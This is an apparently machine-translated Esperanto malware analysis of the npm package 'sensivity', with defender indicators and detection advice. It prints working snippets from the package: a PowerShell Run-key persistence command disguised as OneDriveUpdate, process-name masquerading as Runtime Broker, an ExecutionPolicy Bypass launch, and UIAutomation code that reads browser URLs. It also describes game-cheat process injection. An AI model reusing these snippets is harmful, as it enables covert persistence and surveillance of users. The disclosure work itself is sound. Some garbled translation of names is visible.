TL; DR
La pakaĵo npm sentemo priskribas sin kiel "Sentema Kontrolpanelo." En Vindozo ĝi kondutas kiel teleregilo kaj gvata ilo.
Ĝia enirejo, launcher.js, renomas sian propran procezon al Runtime Broker, skribas aŭtomatan startan Run-key-valoron nomitan OneDriveUpdate kiu relanĉas la pakaĵon per kaŝita VBScript, kreas PowerShell kun -ExecutionPolicy Bypass, kaj poste taksas 171 KB-an malklarigitan servilan ŝarĝon kune kun 6.87 MB-a denaska modulo, sens.node.
Ĝi servas telefon-parigan kontrolpanelon ĉe TCP-pordo 3000 kaj legas la adresbretan URL-on de la aktiva retumilo per Windows UIAutomation, observante unu fikskoditan YouTube-videon.
Du partoj, kiuj antaŭe legiĝis kiel nigraj skatoloj, nun estas solvitaj. La malklarigita servilo, server.obf.js, uzas obfuscator.io RC4 ĉen-ara skemon; reimplementante ĝian malĉifrilon senkonekte (sen JavaScript efektivigita) oni reakiras unuopan eksteran finpunkton — https://izopi.com/check.php — kune kun enigita RSA publika ŝlosilo uzata por kontroli subskribitajn licencajn respondojn.
La denaska modulo, sens.node, ne estas pakita: ĝia importa tabelo kaj enigitaj ĉenoj identigas ĝin kiel DirectX 11 / Dear ImGui enludan paŭsaĵon provizantan celroboton, ESP (murhako) kaj ellasilobotajn funkciojn, funkciigitajn per fora-proceza injekto kaj memorlegadoj/skribadoj.
Ĉenoj en ĝi referencas veturilan entojn kaj mapajn lokojn kongruajn kun GTA V / FiveM. La pakaĵo npm estas la livero kaj persisto-envolvaĵo ĉirkaŭ tiu denaska modulo.
La difina signalo estas funkcia, ne teknika: unuopa anonima eldonisto puŝis proksimume sepdek versiojn de unu pakaĵo — 2.5.0 tra 2.5.69 — tra kelkaj tagoj, ĉiu portante la saman lanĉilon.
Ne estas instalado hooksLa utila ŝarĝo funkcias nur kiam la pakaĵo estas startita.
La Atako: Kiel Ĝi Funkcias
sensivity liveras dek dosierojn. La package.json estas maldensa: neniu deponeja kampo, neniu licenco, ĉefa kaj du bin-kaŝnomoj (sensivity, sens) ĉiuj montrantaj al launcher.js, kaj starta skripto de nodo launcher.js. Ne estas postinstalo aŭ antaŭinstalo. Nenio ekfunkcias dum npm-instalo. La konduto priskribita sube funkcias kiam uzanto startas la pakaĵon — per la bin-ŝimo, la starta skripto, aŭ require.
La tar-dosiero enhavas la lanĉilon, malklarigitan servilon, la denaskan modulon, Visual Basic-skripton, kaj public/web-dosierujon por la kontrolpanelo. launcher.js estas la legebla orkestrejo; la logiko, kiu gravas dum la rulado, troviĝas en la du ŝarĝeroj, kiujn ĝi ŝarĝas — malklarigita servilo kaj kompilita denaska modulo, ambaŭ solvitaj sube.
Proceza maskado kaj falsa OneDrive-ĝisdatigilo
Frue en la ekzekuto launcher.js agordas sian propran proceznomon dufoje:
javascript process.title = 'Runtime Broker'; Runtime Broker estas legitima Vindoza procezo (RuntimeBroker.exe) kiu peras aplikaĵajn permesojn. Renomi Node-procezon por kongrui kun ĝi signifas, ke rapida ekrigardo al Task Manager montras nenion nekutiman.
Persisto estas skribita per PowerShell anstataŭ rekta registra API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); La valoro de aŭtomata starto nomiĝas OneDriveUpdate, kaj ĝi ne montras rekte al la pakaĵo. Ĝi montras al wscript.exe, kiu funkciigas la pakaĵitan OneDrive.Standalone.Updater.vbs. Tiu skripto relanĉas node launcher.js en kaŝita fenestro. Kaj la nomo de la Run-klavo kaj la dosiernomo de VBScript pruntas la markigon de Microsoft, do la eniro de aŭtomata starto legiĝas kiel rutina OneDrive-tasko.
PowerShell kun preteriro de ekzekutpolitiko
La lanĉilo plurfoje sendas mesaĝojn al PowerShell. La servo, kiun skaniloj markas kiel kritikan, estas la lanĉo de generita .ps1-dosiero kun la ekzekutpolitiko malŝaltita:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass forigas la lokan skript-subskriban kontrolon por tiu alvoko. La generitaj skriptoj prizorgas la retumil-gvatadon kaj fenestro-detekton priskribitajn en la sekva sekcio.
La malklarigita servilo kaj la denaska modulo
Post la agordo, launcher.js ŝarĝas kaj efektivigas sian veran utilan ŝarĝon:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js estas 171 KB de _0x-ara malklarigado — la JavaScript-ŝablono kie ĉiu ĉeno kaj identigilo estas anstataŭigita per indekso en miksitan tabelon, poste malreferencita dum rulado. La skemo estas la RC4-variaĵo produktita de obfuscator.io: ununura malĉifrila funkcio base64-malĉifras tabelan eniron kaj poste RC4-malĉifras ĝin per po-voka ŝlosilo. Reimplementi tiun malĉifrilon en aparta skripto — rulante nur la reimplementadon super la ekstraktita 821-enira ĉena tabelo, neniam la propran JavaScript-on de la pakaĵo — malvolvigas ĝin pure. Kio ŝajnas esti modesta sed decisive: unu ekstera URL, https://izopi.com/check.php`, asignita al LICENSE_URL-konstanto; enigita RSA PUBLIC_KEY_PEM`; la loka panelo sendas /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, kaj /trigger/status; kaj la ĉenoj child_process, crypto, kaj [Sensivity] sens.node ŝarĝita — la lasta estante la preciza protokola linio, kiun la lanĉilo reverkas al ŝarĝita programmodulo. La finpunkto estas licenca kontrolo: la kliento afiŝas identigilon (la malklarigita servilo formatas ĉenon de Discord ID: %s) kaj la RSA-ŝlosilo konfirmas la subskribitan respondon de la servilo.
sens.node estas kompilita denaska aldonaĵo de 6.87 MB, kaj ĝi ne estas pakita — sekcia entropio estas ĉe 5.6–6.6 kaj la PE-importaj kaj eksportaj tabeloj estas sendifektaj, do ĝiaj kapabloj estas rekte legeblaj. Ĝi eksportas napi_register_module_v1, la standard Nodo N-API enirejo, do la taksita servilo ŝarĝas ĝin per simpla postulo. Ĝia importa tabelo estas la tell. De KERNEL32 ĝi tiras OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, kaj Process32First/NextW — la kanonan aron por lokalizi alian procezon, asigni memoron en ĝi, kaj legi aŭ skribi tiun memoron. De USER32 ĝi tiras GetAsyncKeyState, GetKeyState, mouse_event, kaj SetCursorPos; ĝi ligas d3d11.dll, D3DCOMPILER_43, kaj dwmapi por surekrana supraĵo, kaj la plenan WINHTTP-aron por retvokoj. Ĝiaj enigitaj ĉenoj nomas la funkcio-aron sen ambigueco: Ebligi Celbot-on, Celbot-kampo de vido (FOV), Skatola ESP, Skeleta ESP, Ellasilo-robot, ESP-konstruilo, Veturila ESP, Elektrona Kontraŭtrompo detektita, kaj la standardo Kara ImGui Kara ImGui 1.91.3 en progreso. Lokaj kaj entaj ĉenoj kiel Grapeseed Medical Clinic kaj la vortprovizo veturilo-ESP kongruas kun GTA V / FiveM.
La disigo estas efektive intenca: la legebla launcher.js portas nur la partojn, kiujn skanilo facile legas — persiston, maskeradon, la eval-vokon mem — dum la malklarigo kaŝas la unu eksteran gastiganton, la rultempajn kontaktojn, kaj la duuma dosiero enhavas la lud-kovrilon kaj procez-injektan logikon. La lanĉilo estas la maldika, kontrolebla ŝelo; la malklarigita servilo kaŝas la retan identecon; la denaska modulo estas la utila ŝarĝo. Ni priskribas la importaĵojn kaj ĉenojn de la duuma dosiero kiel legitajn; ni ne deduktas la celon de la funkciigisto el ili.
Telefon-pariga kontrolpanelo ĉe pordo 3000
La lanĉilo administras lokan retservilon ĉe TCP-pordo 3000 kaj traktas ĝin kiel unuopaĵon. Ĝi pridemandas ekzistantan aŭskultanton kaj malplenigas ĝin antaŭ ol ligi:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); La panelo atingeblas ĉe http://localhost:3000, kun fikse kodita LAN-rezerva URL de http://192.168.1.16:3000. La dosierujo public/ kaj la konduto de la panelo kongruas kun QR-pariga fluo: telefono skanas kodon kaj ligiĝas al la gastiganto kiel teleregilo. Neniu ekstera komand-kaj-kontrola domajno aperas en klarteksto en la lanĉilo — sed, kiel montras la malobskurado supre, unu ĉeestas en la malklarigita servilo: la licenca finpunkto de izopi.com. La panelo mem estas loka kaj LAN-ampleksa; la sola eliranta gastiganto estas tiu licenca kontrolo.
Malligita modelo de kontrolisto/laboristo tenas la procezon vivanta. La lanĉilo reaperas kun mediaj flagoj SENSIVITY_SUPERVISOR kaj SENSIVITY_WORKER, ĉiu infano funkciante kaŝite, do mortigi unu procezon lasas gardiston por rekomenci ĝin.
Retumila Gvatado kaj la YouTube Signalo
La plej specifa konduto estas retumila monitorado. launcher.js konstruas PowerShell, kiu pelas Windows UIAutomation por legi la adresbreton de kuranta retumilo:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern redonas la tekstan enhavon de UI-elemento. Aplikita al la redakta kontrolo en la adresbreto de retumilo, ĝi redonas la URL-on, kiun la viktimo nuntempe rigardas — sen retumila kromprogramo, sen tuŝi la profilon sur la disko, kaj sen API-hoko. La generita skripto ripetas liston $browserNames kaj eltiras la URL-on aŭ fenestran titolon de kiu ajn retumilo estas en la malfono.
Tiu URL estas testita kontraŭ ununura fiksita celo:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; La lanĉilo serĉas dum trisekunda buklo retumilan fenestron montrantan YouTube, kaj la generita PowerShell portas paron Get-YouTubeBrowser / Test-TargetYouTubeUrl kiu kongruas kun tiu video-ID. La observebla efiko estas duobla: la aktiva retumila URL estas legita de la ekrano de la viktimo, kaj la interagado de la gastiganto kun unu specifa YouTube-video estas detektita. Ni priskribas la mekanismon kaj la celon; ni ne deduktas motivon el ili.
La adresbreta legado estas tio, kion la skanilo nomas sensitive_data_enumeration — fonto de Process::env kaj UIAutomation, kiu nutras ret-kapablan rultempon. Ĝi aspektas bonkora izole kaj nur solviĝas al gvatado post kiam la datenvivociklo estas spurita de la UIAutomation-fonto al la malklarigita servilo.
Templinio kaj Versia Evoluo
Sensiveco ne estas unufoja alŝuto. La eldonista konto havas proksimume sepdek publikigitajn versiojn de ĉi tiu ununura pakaĵo, kaj novaj daŭre alvenis dum la revizia periodo. La lanĉilo kreskas trajton post trajto tra la 2.5.x linio dum ĝia persisteco kaj utila ŝarĝo restas fiksitaj.
| Dato (UTC) | Versioj observitaj | Lanĉilstato |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Baza lanĉilo de QR-panelo; Persisto de rulklavo; taksado de malklarigita servilo. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Sama fingrospuro; subpremado de konzolspuroj. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Aldonas fiksitan celon de engaĝiĝo en YouTube wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Reeldono por plenigi mankojn tra la tuta gamo; kontrolisto/laboristo-kontrolisto. |
Legante la lanĉilon tra elŝutitaj reprezentantoj — 2.5.0, 2.5.36, kaj 2.5.69 — montras kvar tavolojn. La plej fruaj konstruoj portas la bazan lanĉilon por QR-parigoj. Ekde 2.5.33 aperas la rikoltilo por adresbreto de UIAutomation. Ekde 2.5.58 aldoniĝas tavolo por kontrolisto/laboristo. Ekde 2.5.64 la dekroĉita kontrolisto/laboristo-gardohundo kompletigas la aron. Tra la tuta versio, kvar aferoj neniam ŝanĝiĝas: la ŝlosilo OneDriveUpdate Run, la enmetilo OneDrive.Standalone.Updater.vbs, la taksita server.obf.js, kaj la denaska modulo sens.node.
La ondo de 2026-06-05 estas rimarkinda ĉar ĝi re-publikigis la malaltajn versinumerojn — 2.5.0 ĝis 2.5.15 — kiuj estas sub la versioj konfirmitaj kelkajn tagojn antaŭe. La efiko estas apuda 2.5.x linio en la registro, ĉiu versio portante la saman lanĉilon.
Indikiloj de kompromiso
Ĉiuj indikiloj sube estis legitaj rekte el la pakaĵa tar-dosiero. La legebla lanĉilo portas nur bukloreton kaj unuopan privatan LAN-adreson; la sola ekstera gastnomo, izopi.com, estis reakirita per malobskurado de server.obf.js eksterrete.
| tipo | indikilo | Notoj |
|---|---|---|
| pakaĵo | npm:sensivity (≈70 versioj, 2.5.0-2.5.69) | Unupakaĵa eldonisto; sen deponejo; sen licenco. |
| dosiero | launcher.js | Legebla orkestrejo; ĉefa kaj bin-celo. |
| dosiero | server.obf.js (≈171 KB) | obfuscator.io RC4 ĉen-ara utila ŝarĝo, ŝarĝita per eval(fs.readFileSync(...)). |
| dosiero | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API aldonaĵo; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| dosiero | OneDrive.Standalone.Updater.vbs | Kaŝita relanĉilo (node launcher.js). |
| reto | https://izopi.com/check.php | Finpunkto por licenco/aŭtorizo reakirita de la malklarigita servilo; enigita RSA-publika ŝlosilo kontrolas respondojn. |
| kapablo | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Malproksima-proceza injekto kaj memoro legado/skribo-kapablo. |
| kapablo | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui-luda paŭzo efektiviganta aimbot, ESP, kaj ellasilo-robot funkciojn. |
| Registro | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Aŭtomata startvaloro montrante al wscript.exe kaj la lanĉilo VBScript. |
| procezo | process.title = 'Runtime Broker' | Maskeras kiel la legitima procezo de Windows Runtime Broker. |
| Kondutisma | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ekzekut-strategia preteriro uzata por generitaj PowerShell-skriptoj. |
| Kondutisma | UIAutomation ValuePattern legado de la retumila adresbreto | Legas la URL-on de la retumilfenestro en la malfono. |
| Kondutisma | Cela video-identigilo wJWta2lO0Lw; 3-sekunda YouTube-enketo | Alpinglita engaĝiĝ-monitorada signalo. |
| reto | http://localhost:3000, rezerva http://192.168.1.16:3000 | Kontrolpanelo por QR-parigo videbla loke kaj en la LAN. |
| medio | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Malligitaj flagoj de kunordigo de la gardohunda procezo. |
Atribuo, Efiko, kaj Defendantoj
La pakaĵo estas publikigita de ununura npm-konto, kies deklarita retpoŝtadreso estas nekonfirmita Gmail-adreso. La konto havas profunde negativan registran reputacian poentaron, konservas kaj publikigas nur ĉi tiun unu pakaĵon, kaj ne havas ligitan fontdeponejon. Ni ne konfirmis proprieton de la retpoŝtadreso kaj ni atribuas la kampanjon al la eldonista konto, ne al iu ajn nomita individuo. La lanĉilo ne portas klartekstan infrastrukturon, sed la sola ekstera gastiganto nun estas konata: la malklarigita servilo kontaktas izopi.com por licenca kontrolo, kaj la denaska modulo — legita el sia importa tabelo kaj ĉenoj anstataŭ inversigi instrukcion post instrukcio — estas ludkovraĵo, kiu injektas en kaj legas la memoron de alia procezo.
La observebla efiko falas sur Vindozajn uzantojn, kiuj instalas kaj funkciigas sentemecon atendante ilon de la kontrolpanelo. Sur tiuj gastigantoj, la pakaĵo establas aŭtomatan startan persiston alivestitan kiel OneDrive-tasko, renomas sin por imiti sisteman procezon, legas la URL-on de tio, kion la uzanto trarigardas, kaj starigas parigan panelon, kiu ligas la maŝinon al fora aparato tra la loka reto. La kontrolisto/laboristo-gardohundo signifas, ke unuopa proceza mortigo ne forigas ĝin; la Run-key-eniro postvivas restartigojn. macOS kaj Linukso ne estas celitaj de la lanĉilo - la persisto-, PowerShell kaj UIAutomation-padoj estas nur por Vindozo.
La sepdek-versia forigo estas la tendenco, kiun indas signali. Reeldoni unu pakaĵon dekojn da fojoj en kelkaj tagoj, inkluzive de replenigo de versinumeroj sub tiuj jam forigitaj, konservas vivan kopion en la registro inter forigoj kaj malhelpas versi-alfiksitajn bloklistojn. Bloklista ero por sensivity@2.5.61 nenion faras kontraŭ sensivity@2.5.3 reeldonita la sekvan tagon.
Defendantoj povas agi laŭ la jenaj:
- Bloku la pakaĵnoman sentemon tute en registro-prokurilo kaj CI-permeslistoj. Alfiksado de individuaj versioj perdas valoron kontraŭ la republikiga ritmo; la nomo estas la daŭra indikilo.
- Serĉu valoron de "Run" nomitan OneDriveUpdate, kies datumoj alvokas wscript.exe kontraŭ .vbs en uzanto-pado. La originala OneDrive-ĝisdatigilo ne estas registrita tiel.
- Averto pri Node.js-procezo kies process.title estas Runtime Broker. La vera peranto estas RuntimeBroker.exe, ne Node-rultempo.
- Flagi npm-instaltempajn alŝutojn de pakaĵoj kiuj liveras kompilitan .node-aldonaĵon plus eval(fs.readFileSync(…)) de frata .obf.js-dosiero. Tiu paro — opaka denaska duuma dosiero ŝarĝita apud malklarigita teksta utila ŝarĝo — estas la struktura indiko ĉi tie, sendepende de iu ajn ĉena IOC.
- Traktu ajnan loke ligitan aŭskultanton ĉe pordo 3000 generitan de neatendita Node-procezo kiel suspektatan ĉe administritaj Vindozaj finpunktoj.
- Bloki aŭ atenti pri elirantaj petoj al izopi.com de programistoj aŭ finuzantoj; ĝi estas la sola ekstera finpunkto de la pakaĵo, atingebla ĉe /check.php de la malklarigita servilo.
- Por iu ajn pakaĵigita .node-aldonaĵo, kontrolu ĝian importtabelon antaŭ ol fidi ĝin. La kombinaĵo OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread estas injekto de fora procezo sendepende de tio, kion la pakaĵo asertas fari; ĉi tie ĝi troviĝas apud Direct3D-kovraĵo kaj aimbot/ESP/triggerbot-ĉenoj.
Por statika analizo pipelines, la konvinka formo estas daŭra tra la versia perdo: ne-reta instala profilo, asigno de proceztitolo al konata sistem-proceza nomo, Run-key skribo per PowerShell, kaj taksado de dosiero legita de disko. Neniu el tiuj dependas de domajno, IP-adreso, aŭ versinumero, kiun la sekva reeldono povas forturni.
Referencoj
[npm: sentemo] – registropaĝo por la pakaĵversio diskutita ĉi tie; povas esti forigita.





